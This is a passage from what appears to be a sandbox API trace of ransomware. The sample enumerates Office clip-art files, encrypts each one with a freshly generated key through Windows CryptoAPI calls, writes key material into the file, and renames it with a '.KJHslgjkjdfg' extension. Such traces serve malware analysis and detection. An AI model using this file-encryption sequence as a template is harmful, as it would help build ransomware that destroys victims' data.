lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.164] SetEndOfFile (hFile=0x114) returned 1 [0190.168] GetProcessHeap () returned 0x2a0000 [0190.168] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.168] GetProcessHeap () returned 0x2a0000 [0190.168] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf.kjhslgjkjdfg")) returned 1 [0190.170] CloseHandle (hObject=0x114) returned 1 [0190.170] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00668_.WMF", cAlternateFileName="")) returned 1 [0190.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.171] GetProcessHeap () returned 0x2a0000 [0190.171] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.171] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.171] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.171] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0190.173] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.174] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.174] GetProcessHeap () returned 0x2a0000 [0190.174] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.174] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.174] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.174] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.174] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.174] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.174] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.174] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.174] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.174] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.174] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.174] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.174] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1652, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1652, lpOverlapped=0x0) returned 1 [0190.176] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1660, dwBufLen=0x1660 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1660) returned 1 [0190.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.176] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1660, lpOverlapped=0x0) returned 1 [0190.176] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.176] SetEndOfFile (hFile=0x114) returned 1 [0190.179] GetProcessHeap () returned 0x2a0000 [0190.179] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.179] GetProcessHeap () returned 0x2a0000 [0190.179] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf.kjhslgjkjdfg")) returned 1 [0190.181] CloseHandle (hObject=0x114) returned 1 [0190.181] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00670_.WMF", cAlternateFileName="")) returned 1 [0190.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.182] GetProcessHeap () returned 0x2a0000 [0190.182] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.182] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.182] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.182] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.182] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.182] GetProcessHeap () returned 0x2a0000 [0190.182] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.182] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.182] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.182] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.185] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.185] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.185] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.185] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.185] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.185] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.185] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.185] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.185] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16c0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x16c0, lpOverlapped=0x0) returned 1 [0190.186] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16c0, dwBufLen=0x16c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16c0) returned 1 [0190.186] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.186] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x16c0, lpOverlapped=0x0) returned 1 [0190.186] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.186] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.186] SetEndOfFile (hFile=0x114) returned 1 [0190.189] GetProcessHeap () returned 0x2a0000 [0190.189] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.189] GetProcessHeap () returned 0x2a0000 [0190.189] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.189] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf.kjhslgjkjdfg")) returned 1 [0190.191] CloseHandle (hObject=0x114) returned 1 [0190.191] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00671_.WMF", cAlternateFileName="")) returned 1 [0190.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.193] GetProcessHeap () returned 0x2a0000 [0190.193] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.193] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.193] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.193] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.193] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.193] GetProcessHeap () returned 0x2a0000 [0190.193] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.193] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.193] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.193] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.195] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.195] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.196] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.196] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.196] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.196] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.196] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.196] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.196] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5d0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5d0, lpOverlapped=0x0) returned 1 [0190.196] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5d0, dwBufLen=0x5d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5d0) returned 1 [0190.196] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.196] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5d0, lpOverlapped=0x0) returned 1 [0190.196] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.196] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.196] SetEndOfFile (hFile=0x114) returned 1 [0190.199] GetProcessHeap () returned 0x2a0000 [0190.199] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.199] GetProcessHeap () returned 0x2a0000 [0190.199] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.199] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf.kjhslgjkjdfg")) returned 1 [0190.201] CloseHandle (hObject=0x114) returned 1 [0190.201] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f14c400, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f14c400, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x62b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00683_.WMF", cAlternateFileName="")) returned 1 [0190.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.203] GetProcessHeap () returned 0x2a0000 [0190.203] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.203] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.203] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.203] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0190.205] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.206] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.206] GetProcessHeap () returned 0x2a0000 [0190.206] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.206] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.206] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.206] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.206] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.206] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.206] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.206] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.207] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.207] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.207] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.207] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.207] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x62b6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x62b6, lpOverlapped=0x0) returned 1 [0190.208] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x62c0, dwBufLen=0x62c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x62c0) returned 1 [0190.208] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.208] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x62c0, lpOverlapped=0x0) returned 1 [0190.209] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.209] SetEndOfFile (hFile=0x114) returned 1 [0190.211] GetProcessHeap () returned 0x2a0000 [0190.211] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.212] GetProcessHeap () returned 0x2a0000 [0190.212] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.212] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf.kjhslgjkjdfg")) returned 1 [0190.214] CloseHandle (hObject=0x114) returned 1 [0190.214] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6302, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00694_.WMF", cAlternateFileName="")) returned 1 [0190.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.216] GetProcessHeap () returned 0x2a0000 [0190.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.216] CryptGenRandom 